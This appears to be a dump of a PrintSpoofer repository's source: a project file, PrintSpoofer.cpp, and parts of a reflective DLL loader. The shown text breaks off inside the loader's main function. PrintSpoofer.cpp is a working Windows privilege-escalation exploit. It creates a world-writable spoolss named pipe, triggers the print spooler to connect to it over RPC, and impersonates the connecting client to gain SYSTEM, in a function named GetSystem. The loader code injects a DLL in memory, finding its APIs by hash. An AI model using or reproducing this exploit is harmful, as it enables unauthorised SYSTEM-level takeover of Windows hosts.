40 | typedef DWORD(NTAPI* NTFLUSHINSTRUCTIONCACHE)(HANDLE, PVOID, ULONG);
41 |
42 | #define KERNEL32DLL_HASH 0x6A4ABC5B
43 | #define NTDLLDLL_HASH 0x3CFA685D
44 |
45 | #define LOADLIBRARYA_HASH 0xEC0E4E8E
46 | #define GETPROCADDRESS_HASH 0x7C0DFCAA
47 | #define VIRTUALALLOC_HASH 0x91AFCA54
48 | #define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8
49 |
50 | #define IMAGE_REL_BASED_ARM_MOV32A 5
51 | #define IMAGE_REL_BASED_ARM_MOV32T 7
52 |
53 | #define ARM_MOV_MASK (DWORD)(0xFBF08000)
54 | #define ARM_MOV_MASK2 (DWORD)(0xFBF08F00)
55 | #define ARM_MOVW 0xF2400000
56 | #define ARM_MOVT 0xF2C00000
57 |
58 | #define HASH_KEY 13
59 | //===============================================================================================//
60 | #pragma intrinsic( _rotr )
61 |
62 | __forceinline DWORD ror(DWORD d)
63 | {
64 | return _rotr(d, HASH_KEY);
65 | }
66 |
67 | __forceinline DWORD hash(char* c)
68 | {
69 | register DWORD h = 0;
70 | do
71 | {
72 | h = ror(h);
73 | h += *c;
74 | } while (*++c);
75 |
76 | return h;
77 | }
78 | //===============================================================================================//
79 | typedef struct _UNICODE_STR
80 | {
81 | USHORT Length;
82 | USHORT MaximumLength;
83 | PWSTR pBuffer;
84 | } UNICODE_STR, * PUNICODE_STR;
85 |
86 | // WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY
87 | //__declspec( align(8) )
88 | typedef struct _LDR_DATA_TABLE_ENTRY
89 | {
90 | //LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry.
91 | LIST_ENTRY InMemoryOrderModuleList;
92 | LIST_ENTRY InInitializationOrderModuleList;
93 | PVOID DllBase;
94 | PVOID EntryPoint;
95 | ULONG SizeOfImage;
96 | UNICODE_STR FullDllName;
97 | UNICODE_STR BaseDllName;
98 | ULONG Flags;
99 | SHORT LoadCount;
100 | SHORT TlsIndex;
101 | LIST_ENTRY HashTableEntry;
102 | ULONG TimeDateStamp;
103 | } LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
104 |
105 | // WinDbg> dt -v ntdll!_PEB_LDR_DATA
106 | typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes
107 | {
108 | DWORD dwLength;
109 | DWORD dwInitialized;
110 | LPVOID lpSsHandle;
111 | LIST_ENTRY InLoadOrderModuleList;
112 | LIST_ENTRY InMemoryOrderModuleList;
113 | LIST_ENTRY InInitializationOrderModuleList;
114 | LPVOID lpEntryInProgress;
115 | } PEB_LDR_DATA, * PPEB_LDR_DATA;
116 |
117 | // WinDbg> dt -v ntdll!_PEB_FREE_BLOCK
118 | typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes
119 | {
120 | struct _PEB_FREE_BLOCK* pNext;
121 | DWORD dwSize;
122 | } PEB_FREE_BLOCK, * PPEB_FREE_BLOCK;
123 |
124 | // struct _PEB is defined in Winternl.h but it is incomplete
125 | // WinDbg> dt -v ntdll!_PEB
126 | typedef struct __PEB // 65 elements, 0x210 bytes
127 | {
128 | BYTE bInheritedAddressSpace;
129 | BYTE bReadImageFileExecOptions;
130 | BYTE bBeingDebugged;
131 | BYTE bSpareBool;
132 | LPVOID lpMutant;
133 | LPVOID lpImageBaseAddress;
134 | PPEB_LDR_DATA pLdr;
135 | LPVOID lpProcessParameters;
136 | LPVOID lpSubSystemData;
137 | LPVOID lpProcessHeap;
138 | PRTL_CRITICAL_SECTION pFastPebLock;
139 | LPVOID lpFastPebLockRoutine;
140 | LPVOID lpFastPebUnlockRoutine;
141 | DWORD dwEnvironmentUpdateCount;
142 | LPVOID lpKernelCallbackTable;
143 | DWORD dwSystemReserved;
144 | DWORD dwAtlThunkSListPtr32;
145 | PPEB_FREE_BLOCK pFreeList;
146 | DWORD dwTlsExpansionCounter;
147 | LPVOID lpTlsBitmap;
148 | DWORD dwTlsBitmapBits[2];
149 | LPVOID lpReadOnlySharedMemoryBase;
150 | LPVOID lpReadOnlySharedMemoryHeap;
151 | LPVOID lpReadOnlyStaticServerData;
152 | LPVOID lpAnsiCodePageData;
153 | LPVOID lpOemCodePageData;
154 | LPVOID lpUnicodeCaseTableData;
155 | DWORD dwNumberOfProcessors;
156 | DWORD dwNtGlobalFlag;
157 | LARGE_INTEGER liCriticalSectionTimeout;
158 | DWORD dwHeapSegmentReserve;
159 | DWORD dwHeapSegmentCommit;
160 | DWORD dwHeapDeCommitTotalFreeThreshold;
161 | DWORD dwHeapDeCommitFreeBlockThreshold;
162 | DWORD dwNumberOfHeaps;
163 | DWORD dwMaximumNumberOfHeaps;
164 | LPVOID lpProcessHeaps;
165 | LPVOID lpGdiSharedHandleTable;
166 | LPVOID lpProcessStarterHelper;
167 | DWORD dwGdiDCAttributeList;
168 | LPVOID lpLoaderLock;
169 | DWORD dwOSMajorVersion;
170 | DWORD dwOSMinorVersion;
171 | WORD wOSBuildNumber;
172 | WORD wOSCSDVersion;
173 | DWORD dwOSPlatformId;
174 | DWORD dwImageSubsystem;
175 | DWORD dwImageSubsystemMajorVersion;
176 | DWORD dwImageSubsystemMinorVersion;
177 | DWORD dwImageProcessAffinityMask;
178 | DWORD dwGdiHandleBuffer[34];
179 | LPVOID lpPostProcessInitRoutine;
180 | LPVOID lpTlsExpansionBitmap;
181 | DWORD dwTlsExpansionBitmapBits[32];
182 | DWORD dwSessionId;
183 | ULARGE_INTEGER liAppCompatFlags;
184 | ULARGE_INTEGER liAppCompatFlagsUser;
185 | LPVOID lppShimData;
186 | LPVOID lpAppCompatInfo;
187 | UNICODE_STR usCSDVersion;
188 | LPVOID lpActivationContextData;
189 | LPVOID lpProcessAssemblyStorageMap;
190 | LPVOID lpSystemDefaultActivationContextData;
191 | LPVOID lpSystemAssemblyStorageMap;
192 | DWORD dwMinimumStackCommit;
193 | } _PEB, * _PPEB;
194 |
195 | typedef struct
196 | {
197 | WORD offset : 12;
198 | WORD type : 4;
199 | } IMAGE_RELOC, * PIMAGE_RELOC;
200 | //===============================================================================================//
201 | #endif
202 | //===============================================================================================//
203 |
--------------------------------------------------------------------------------
/PrintSpoofer/PrintSpoofer.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | ARM
7 |
8 |
9 | Debug
10 | Win32
11 |
12 |
13 | Debug
14 | x64
15 |
16 |
17 | Release
18 | ARM
19 |
20 |
21 | Release
22 | Win32
23 |
24 |
25 | Release
26 | x64
27 |
28 |
29 |
30 | 16.0
31 | {B67143DE-321D-4034-AC1D-C6BB2D98563F}
32 | Win32Proj
33 | PrintSpoofer
34 | 10.0
35 |
36 |
37 |
38 | DynamicLibrary
39 | true
40 | v142
41 | Unicode
42 |
43 |
44 | DynamicLibrary
45 | false
46 | v142
47 | true
48 | Unicode
49 |
50 |
51 | DynamicLibrary
52 | true
53 | v142
54 | Unicode
55 |
56 |
57 | DynamicLibrary
58 | false
59 | v142
60 | true
61 | Unicode
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 | true
83 |
84 |
85 | true
86 |
87 |
88 | false
89 | .dll
90 |
91 |
92 | false
93 | .dll
94 |
95 |
96 |
97 |
98 |
99 | Level3
100 | true
101 | WIN32;WIN_X86;_DEBUG;_CONSOLE;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)
102 | true
103 |
104 |
105 | Console
106 | true
107 |
108 |
109 |
110 |
111 |
112 |
113 | Level3
114 | true
115 | _DEBUG;WIN_X64;_CONSOLE;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)
116 | true
117 |
118 |
119 | Console
120 | true
121 |
122 |
123 |
124 |
125 |
126 |
127 | Level3
128 | true
129 | true
130 | true
131 | WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_X86;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)
132 | true
133 | MultiThreaded
134 |
135 |
136 | Console
137 | true
138 | true
139 | false
140 |
141 |
142 |
143 |
144 |
145 |
146 | Level3
147 | true
148 | true
149 | true
150 | WIN64;NDEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;WIN_X64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)
151 | true
152 | MultiThreaded
153 |
154 |
155 | Console
156 | true
157 | true
158 | false
159 |
160 |
161 |
162 |
163 |
164 |
165 |
166 |
167 |
168 |
169 |
170 |
171 |
172 |
173 |
174 |
175 |
176 |
177 |
178 |
179 |
--------------------------------------------------------------------------------
/PrintSpoofer/PrintSpoofer.cpp:
--------------------------------------------------------------------------------
1 |
2 | #include
3 | #include
4 | #include
5 | #include
6 | #include
7 |
8 | #include "PrintSpoofer.h"
9 | #include "ms-rprn_h.h"
10 |
11 | #pragma comment(lib, "rpcrt4.lib")
12 | #pragma comment(lib, "userenv.lib")
13 | #pragma warning( disable : 28251 )
14 |
15 | BOOL CheckAndEnablePrivilege(HANDLE hTokenToCheck, LPCWSTR pwszPrivilegeToCheck)
16 | {
17 | BOOL bResult = FALSE;
18 | HANDLE hToken = INVALID_HANDLE_VALUE;
19 |
20 | DWORD dwTokenPrivilegesSize = 0;
21 | PTOKEN_PRIVILEGES pTokenPrivileges = NULL;
22 |
23 | LPWSTR pwszPrivilegeName = NULL;
24 |
25 | if (hTokenToCheck)
26 | {
27 | // If a token handle was supplied, check this token
28 | hToken = hTokenToCheck;
29 | }
30 | else
31 | {
32 | // If a token handle wasn't supplied, check the token of the current process
33 | if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken))
34 | {
35 | wprintf(L"OpenProcessToken() failed. Error: %d\n", GetLastError());
36 | goto cleanup;
37 | }
38 | }
39 |
40 | if (!GetTokenInformation(hToken, TokenPrivileges, NULL, dwTokenPrivilegesSize, &dwTokenPrivilegesSize))
41 | {
42 | if (GetLastError() != ERROR_INSUFFICIENT_BUFFER)
43 | {
44 | wprintf(L"GetTokenInformation() failed. Error: %d\n", GetLastError());
45 | goto cleanup;
46 | }
47 | }
48 |
49 | pTokenPrivileges = (PTOKEN_PRIVILEGES)malloc(dwTokenPrivilegesSize);
50 | if (!pTokenPrivileges)
51 | goto cleanup;
52 |
53 | if (!GetTokenInformation(hToken, TokenPrivileges, pTokenPrivileges, dwTokenPrivilegesSize, &dwTokenPrivilegesSize))
54 | {
55 | wprintf(L"GetTokenInformation() failed. Error: %d\n", GetLastError());
56 | goto cleanup;
57 | }
58 |
59 | for (DWORD i = 0; i < pTokenPrivileges->PrivilegeCount; i++)
60 | {
61 | LUID_AND_ATTRIBUTES laa = pTokenPrivileges->Privileges[i];
62 | DWORD dwPrivilegeNameLength = 0;
63 |
64 | if (!LookupPrivilegeName(NULL, &(laa.Luid), NULL, &dwPrivilegeNameLength))
65 | {
66 | if (GetLastError() != ERROR_INSUFFICIENT_BUFFER)
67 | {
68 | wprintf(L"LookupPrivilegeName() failed. Error: %d\n", GetLastError());
69 | goto cleanup;
70 | }
71 | }
72 |
73 | dwPrivilegeNameLength++;
74 | pwszPrivilegeName = (LPWSTR)malloc(dwPrivilegeNameLength * sizeof(WCHAR));
75 | if (!pwszPrivilegeName)
76 | goto cleanup;
77 |
78 | if (!LookupPrivilegeName(NULL, &(laa.Luid), pwszPrivilegeName, &dwPrivilegeNameLength))
79 | {
80 | wprintf(L"LookupPrivilegeName() failed. Error: %d\n", GetLastError());
81 | goto cleanup;
82 | }
83 |
84 | if (!_wcsicmp(pwszPrivilegeName, pwszPrivilegeToCheck))
85 | {
86 | TOKEN_PRIVILEGES tp = { 0 };
87 |
88 | ZeroMemory(&tp, sizeof(TOKEN_PRIVILEGES));
89 | tp.PrivilegeCount = 1;
90 | tp.Privileges[0].Luid = laa.Luid;
91 | tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
92 |
93 | if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL))
94 | {
95 | wprintf(L"AdjustTokenPrivileges() failed. Error: %d\n", GetLastError());
96 | goto cleanup;
97 | }
98 |
99 | bResult = TRUE;
100 | }
101 |
102 | free(pwszPrivilegeName);
103 |
104 | if (bResult)
105 | break;
106 | }
107 |
108 | cleanup:
109 | if (hToken)
110 | CloseHandle(hToken);
111 | if (pTokenPrivileges)
112 | free(pTokenPrivileges);
113 |
114 | return bResult;
115 | }
116 |
117 | BOOL GenerateRandomPipeName(LPWSTR *ppwszPipeName)
118 | {
119 | UUID uuid = { 0 };
120 |
121 | if (UuidCreate(&uuid) != RPC_S_OK)
122 | return FALSE;
123 |
124 | if (UuidToString(&uuid, (RPC_WSTR*)&(*ppwszPipeName)) != RPC_S_OK)
125 | return FALSE;
126 |
127 | if (!*ppwszPipeName)
128 | return FALSE;
129 |
130 | return TRUE;
131 | }
132 |
133 | HANDLE CreateSpoolNamedPipe(LPWSTR pwszPipeName)
134 | {
135 | HANDLE hPipe = NULL;
136 | LPWSTR pwszPipeFullname = NULL;
137 | SECURITY_DESCRIPTOR sd = { 0 };
138 | SECURITY_ATTRIBUTES sa = { 0 };
139 |
140 | pwszPipeFullname = (LPWSTR)malloc(MAX_PATH * sizeof(WCHAR));
141 | if (!pwszPipeFullname)
142 | return NULL;
143 |
144 | StringCchPrintf(pwszPipeFullname, MAX_PATH, L"\\\\.\\pipe\\%ws\\pipe\\spoolss", pwszPipeName);
145 |
146 | if (!InitializeSecurityDescriptor(&sd, SECURITY_DESCRIPTOR_REVISION))
147 | {
148 | wprintf(L"InitializeSecurityDescriptor() failed. Error: %d\n", GetLastError());
149 | free(pwszPipeFullname);
150 | return NULL;
151 | }
152 |
153 | if (!ConvertStringSecurityDescriptorToSecurityDescriptor(L"D:(A;OICI;GA;;;WD)", SDDL_REVISION_1, &((&sa)->lpSecurityDescriptor), NULL))
154 | {
155 | wprintf(L"ConvertStringSecurityDescriptorToSecurityDescriptor() failed. Error: %d\n", GetLastError());
156 | free(pwszPipeFullname);
157 | return NULL;
158 | }
159 |
160 | // The FILE_FLAG_OVERLAPPED flag is what allows us to create an async pipe.
161 | hPipe = CreateNamedPipe(pwszPipeFullname, PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED, PIPE_TYPE_BYTE | PIPE_WAIT, 10, 2048, 2048, 0, &sa);
162 | if (hPipe == INVALID_HANDLE_VALUE)
163 | {
164 | wprintf(L"CreateNamedPipe() failed. Error: %d\n", GetLastError());
165 | free(pwszPipeFullname);
166 | return NULL;
167 | }
168 |
169 | free(pwszPipeFullname);
170 |
171 | return hPipe;
172 | }
173 |
174 | HANDLE ConnectSpoolNamedPipe(HANDLE hPipe)
175 | {
176 | HANDLE hPipeEvent = INVALID_HANDLE_VALUE;
177 | OVERLAPPED ol = { 0 };
178 |
179 | // Create a non-signaled event for the OVERLLAPED structure
180 | hPipeEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
181 | if (!hPipeEvent)
182 | {
183 | wprintf(L"CreateEvent() failed. Error: %d\n", GetLastError());
184 | return NULL;
185 | }
186 |
187 | ZeroMemory(&ol, sizeof(OVERLAPPED));
188 | ol.hEvent = hPipeEvent;
189 |
190 | // Connect the pipe asynchronously
191 | if (!ConnectNamedPipe(hPipe, &ol))
192 | {
193 | if (GetLastError() != ERROR_IO_PENDING)
194 | {
195 | wprintf(L"ConnectNamedPipe() failed. Error: %d\n", GetLastError());
196 | return NULL;
197 | }
198 | }
199 |
200 | return hPipeEvent;
201 | }
202 |
203 | HANDLE TriggerNamedPipeConnection(LPWSTR pwszPipeName)
204 | {
205 | HANDLE hThread = NULL;
206 | DWORD dwThreadId = 0;
207 |
208 | hThread = CreateThread(NULL, 0, TriggerNamedPipeConnectionThread, pwszPipeName, 0, &dwThreadId);
209 | if (!hThread)
210 | wprintf(L"CreateThread() failed. Error: %d\n", GetLastError());
211 |
212 | return hThread;
213 | }
214 |
215 | DWORD WINAPI TriggerNamedPipeConnectionThread(LPVOID lpParam)
216 | {
217 | HRESULT hr = NULL;
218 | PRINTER_HANDLE hPrinter = NULL;
219 | DEVMODE_CONTAINER devmodeContainer = { 0 };
220 |
221 | LPWSTR pwszComputerName = NULL;
222 | DWORD dwComputerNameLen = MAX_COMPUTERNAME_LENGTH + 1;
223 |
224 | LPWSTR pwszTargetServer = NULL;
225 | LPWSTR pwszCaptureServer = NULL;
226 |
227 | LPWSTR pwszPipeName = (LPWSTR)lpParam;
228 |
229 | pwszComputerName = (LPWSTR)malloc(dwComputerNameLen * sizeof(WCHAR));
230 | if (!pwszComputerName)
231 | goto cleanup;
232 |
233 | if (!GetComputerName(pwszComputerName, &dwComputerNameLen))
234 | goto cleanup;
235 |
236 | pwszTargetServer = (LPWSTR)malloc(MAX_PATH * sizeof(WCHAR));
237 | if (!pwszTargetServer)
238 | goto cleanup;
239 |
240 | pwszCaptureServer = (LPWSTR)malloc(MAX_PATH * sizeof(WCHAR));
241 | if (!pwszCaptureServer)
242 | goto cleanup;
243 |
244 | StringCchPrintf(pwszTargetServer, MAX_PATH, L"\\\\%ws", pwszComputerName);
245 | StringCchPrintf(pwszCaptureServer, MAX_PATH, L"\\\\%ws/pipe/%ws", pwszComputerName, pwszPipeName);
246 |
247 | RpcTryExcept
248 | {
249 | if (RpcOpenPrinter(pwszTargetServer, &hPrinter, NULL, &devmodeContainer, 0) == RPC_S_OK)
250 | {
251 | RpcRemoteFindFirstPrinterChangeNotificationEx(hPrinter, PRINTER_CHANGE_ADD_JOB, 0, pwszCaptureServer, 0, NULL);
252 | RpcClosePrinter(&hPrinter);
253 | }
254 | }
255 | RpcExcept(EXCEPTION_EXECUTE_HANDLER);
256 | {
257 | // Expect RPC_S_SERVER_UNAVAILABLE
258 | }
259 | RpcEndExcept;
260 |
261 | cleanup:
262 | if (pwszComputerName)
263 | free(pwszComputerName);
264 | if (pwszTargetServer)
265 | free(pwszTargetServer);
266 | if (pwszCaptureServer)
267 | free(pwszCaptureServer);
268 | if (hPrinter)
269 | RpcClosePrinter(&hPrinter);
270 |
271 | return 0;
272 | }
273 |
274 | BOOL GetSystem(HANDLE hPipe)
275 | {
276 | if (!ImpersonateNamedPipeClient(hPipe))
277 | {
278 | wprintf(L"ImpersonateNamedPipeClient(). Error: %d\n", GetLastError());
279 | return FALSE;
280 | }
281 | wprintf(L"[+] ImpersoneteNamedPipeClient OK\n");
282 | return TRUE;
283 | }
284 |
285 | handle_t __RPC_USER STRING_HANDLE_bind(STRING_HANDLE lpStr)
286 | {
287 | RPC_STATUS RpcStatus;
288 | RPC_WSTR StringBinding;
289 | handle_t BindingHandle;
290 |
291 | if (RpcStringBindingComposeW((RPC_WSTR)L"12345678-1234-ABCD-EF00-0123456789AB", (RPC_WSTR)L"ncacn_np", (RPC_WSTR)lpStr, (RPC_WSTR)L"\\pipe\\spoolss", NULL, &StringBinding) != RPC_S_OK)
292 | return NULL;
293 |
294 | RpcStatus = RpcBindingFromStringBindingW(StringBinding, &BindingHandle);
295 |
296 | RpcStringFreeW(&StringBinding);
297 |
298 | if (RpcStatus != RPC_S_OK)
299 | return NULL;
300 |
301 | return BindingHandle;
302 | }
303 |
304 | void __RPC_USER STRING_HANDLE_unbind(STRING_HANDLE lpStr, handle_t BindingHandle)
305 | {
306 | RpcBindingFree(&BindingHandle);
307 | }
308 |
309 | void __RPC_FAR* __RPC_USER midl_user_allocate(size_t cBytes)
310 | {
311 | return((void __RPC_FAR*) malloc(cBytes));
312 | }
313 |
314 | void __RPC_USER midl_user_free(void __RPC_FAR* p)
315 | {
316 | free(p);
317 | }
318 |
--------------------------------------------------------------------------------
/PrintSpoofer/ReflectiveLoader.cpp:
--------------------------------------------------------------------------------
1 | //===============================================================================================//
2 | // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
3 | // All rights reserved.
4 | //
5 | // Redistribution and use in source and binary forms, with or without modification, are permitted
6 | // provided that the following conditions are met:
7 | //
8 | // * Redistributions of source code must retain the above copyright notice, this list of
9 | // conditions and the following disclaimer.
10 | //
11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of
12 | // conditions and the following disclaimer in the documentation and/or other materials provided
13 | // with the distribution.
14 | //
15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to
16 | // endorse or promote products derived from this software without specific prior written permission.
17 | //
18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
26 | // POSSIBILITY OF SUCH DAMAGE.
27 | //===============================================================================================//
28 | #include "ReflectiveLoader.h"
29 | //===============================================================================================//
30 | // Our loader will set this to a pseudo correct HINSTANCE/HMODULE value
31 | HINSTANCE hAppInstance = NULL;
32 | //===============================================================================================//
33 | #pragma intrinsic( _ReturnAddress )
34 | // This function can not be inlined by the compiler or we will not get the address we expect. Ideally
35 | // this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of
36 | // RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics
37 | // available (and no inline asm available under x64).
38 | __declspec(noinline) ULONG_PTR caller(VOID) { return (ULONG_PTR)_ReturnAddress(); }
39 | //===============================================================================================//
40 |
41 | // Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN,
42 | // otherwise the DllMain at the end of this file will be used.
43 |
44 | // Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR,
45 | // otherwise it is assumed you are calling the ReflectiveLoader via a stub.
46 |
47 | // This is our position independent reflective DLL loader/injector
48 | #ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
49 | DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(LPVOID lpParameter)
50 | #else
51 | DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(VOID)
52 | #endif
53 | {
54 | // the functions we need
55 | LOADLIBRARYA pLoadLibraryA = NULL;
56 | GETPROCADDRESS pGetProcAddress = NULL;
57 | VIRTUALALLOC pVirtualAlloc = NULL;
58 | NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL;
59 |
60 | USHORT usCounter;
61 |
62 | // the initial location of this image in memory
63 | ULONG_PTR uiLibraryAddress;
64 | // the kernels base address and later this images newly loaded base address
65 | ULONG_PTR uiBaseAddress;
66 |
67 | // variables for processing the kernels export table
68 | ULONG_PTR uiAddressArray;
69 | ULONG_PTR uiNameArray;
70 | ULONG_PTR uiExportDir;
71 | ULONG_PTR uiNameOrdinals;
72 | DWORD dwHashValue;
73 |
74 | // variables for loading this image
75 | ULONG_PTR uiHeaderValue;
76 | ULONG_PTR uiValueA;
77 | ULONG_PTR uiValueB;
78 | ULONG_PTR uiValueC;
79 | ULONG_PTR uiValueD;
80 | ULONG_PTR uiValueE;
81 |
82 | // STEP 0: calculate our images current base address
83 |
84 | // we will start searching backwards from our callers return address.
85 | uiLibraryAddress = caller();
86 |
87 | // loop through memory backwards searching for our images base address
88 | // we dont need SEH style search as we shouldnt generate any access violations with this
89 | while (TRUE)
90 | {
91 | if (((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE)
92 | {
93 | uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
94 | // some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'),
95 | // we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems.
96 | if (uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024)
97 | {
98 | uiHeaderValue += uiLibraryAddress;
99 | // break if we have found a valid MZ/PE header
100 | if (((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE)
101 | break;
102 | }
103 | }
104 | uiLibraryAddress--;
105 | }
106 |
107 | // STEP 1: process the kernels exports for the functions our loader needs...
108 |
109 | // get the Process Enviroment Block
110 | #ifdef WIN_X64
111 | uiBaseAddress = __readgsqword(0x60);
112 | #else
113 | #ifdef WIN_X86
114 | uiBaseAddress = __readfsdword(0x30);
115 | #else WIN_ARM
116 | uiBaseAddress = *(DWORD*)((BYTE*)_MoveFromCoprocessor(15, 0, 13, 0, 2) + 0x30);
117 | #endif
118 | #endif
119 |
120 | // get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx
121 | uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;
122 |
123 | // get the first entry of the InMemoryOrder module list
124 | uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
125 | while (uiValueA)
126 | {
127 | // get pointer to current modules name (unicode string)
128 | uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;
129 | // set bCounter to the length for the loop
130 | usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;
131 | // clear uiValueC which will store the hash of the module name
132 | uiValueC = 0;
133 |
134 | // compute the hash of the module name...
135 | do
136 | {
137 | uiValueC = ror((DWORD)uiValueC);
138 | // normalize to uppercase if the madule name is in lowercase
139 | if (*((BYTE*)uiValueB) >= 'a')
140 | uiValueC += *((BYTE*)uiValueB) - 0x20;
141 | else
142 | uiValueC += *((BYTE*)uiValueB);
143 | uiValueB++;
144 | } while (--usCounter);
145 |
146 | // compare the hash with that of kernel32.dll
147 | if ((DWORD)uiValueC == KERNEL32DLL_HASH)
148 | {
149 | // get this modules base address
150 | uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
151 |
152 | // get the VA of the modules NT Header
153 | uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
154 |
155 | // uiNameArray = the address of the modules export directory entry
156 | uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
157 |
158 | // get the VA of the export directory
159 | uiExportDir = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress);
160 |
161 | // get the VA for the array of name pointers
162 | uiNameArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames);
163 |
164 | // get the VA for the array of name ordinals
165 | uiNameOrdinals = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals);
166 |
167 | usCounter = 3;
168 |
169 | // loop while we still have imports to find
170 | while (usCounter > 0)
171 | {
172 | // compute the hash values for this function name
173 | dwHashValue = hash((char*)(uiBaseAddress + DEREF_32(uiNameArray)));
174 |
175 | // if we have found a function we want we get its virtual address
176 | if (dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH)
177 | {
178 | // get the VA for the array of addresses
179 | uiAddressArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions);
180 |
181 | // use this functions name ordinal as an index into the array of name pointers
182 | uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD));
183 |
184 | // store this functions VA
185 | if (dwHashValue == LOADLIBRARYA_HASH)
186 | pLoadLibraryA = (LOADLIBRARYA)(uiBaseAddress + DEREF_32(uiAddressArray));
187 | else if (dwHashValue == GETPROCADDRESS_HASH)
188 | pGetProcAddress = (GETPROCADDRESS)(uiBaseAddress + DEREF_32(uiAddressArray));
189 | else if (dwHashValue == VIRTUALALLOC_HASH)
190 | pVirtualAlloc = (VIRTUALALLOC)(uiBaseAddress + DEREF_32(uiAddressArray));
191 |
192 | // decrement our counter
193 | usCounter--;
194 | }
195 |
196 | // get the next exported function name
197 | uiNameArray += sizeof(DWORD);
198 |
199 | // get the next exported function name ordinal
200 | uiNameOrdinals += sizeof(WORD);
201 | }
202 | }
203 | else if ((DWORD)uiValueC == NTDLLDLL_HASH)
204 | {
205 | // get this modules base address
